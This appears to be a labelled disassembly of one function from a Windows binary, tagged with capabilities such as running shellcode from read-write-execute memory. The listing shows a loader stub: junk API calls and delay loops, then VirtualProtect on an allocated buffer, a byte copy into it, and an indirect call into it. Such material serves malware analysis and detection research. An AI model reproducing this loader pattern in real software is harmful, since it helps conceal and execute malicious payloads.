Function at 0x4039f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
push 0
call edi
call ebx
cmp esi, 0x207142
jg 0x403a21
inc esi
cmp esi, 0x67d12
jl 0x403a0a
cmp dword [0x5e8438], 0x93
jne 0x403ae3
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuStringA]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
call fcn.00403e54
add esp, 4
push 0
push 0
call fcn.0040426d
push 0
call fcn.00404160
add esp, 0xc
push 0
push 0
call fcn.00404400
push 0
call fcn.00404160
add esp, 0xc
push 0
push 0
call fcn.0040418f
add esp, 8
mov eax, dword [0x444c34]
add dword [0x5e8438], 0x1134b
push 0x403658
mov dword [0x5e843c], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x5e8438]
push ecx
push 0
mov dword [0x5e75f4], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0x5e8438]
lea edx, [ebp - 8]
push edx
push 0x40
push ecx
push eax
mov dword [0x5e708c], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_GetMenuBarInfo]
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffW]
mov esi, 0x1692e
push 0
push 0
push 0
push 0
call edi
push 0
lea edx, [ebp - 0x810]
push edx
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x403b40
cmp dword [0x5e8438], esi
jbe 0x403bce
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x5e843c]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x5e708c]
mov byte [edx + esi], cl
cmp dword [0x5e8438], 0x490
jne 0x403bc5
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
inc esi
cmp esi, dword [0x5e8438]
jb 0x403b72
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.USER32.dll_ChangeMenuW]
xor esi, esi
mov ecx, dword [0x5e8438]
add ecx, esi
cmp ecx, 0x8d
jne 0x403c24
push 0
lea edx, [ebp - 0x410]
push edx
push 0
push 0x403668
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
inc esi
cmp esi, 0x38681
jl 0x403bdc
call fcn.00403780
xor edi, edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x403c54
mov dword [ebp - 4], edi
add dword [ebp - 4], 0x9188
mov eax, dword [ebp - 4]
add dword [0x5e708c], eax
inc esi
cmp esi, 0x674bd
jl 0x403c36
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapSetInformation]
mov dword [ebp - 4], 0x7b
mov esi, dword [ebp - 4]
cmp dword [0x5e8438], 0x86
jne 0x403cb7
push 0
call edi
push 0
push 0
push esi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push 0
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
cmp dword [0x5e8438], 0xf
jne 0x403cce
push 0
push 0
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
dec dword [ebp - 4]
jne 0x403c73
push 0x40366c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x5e708c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret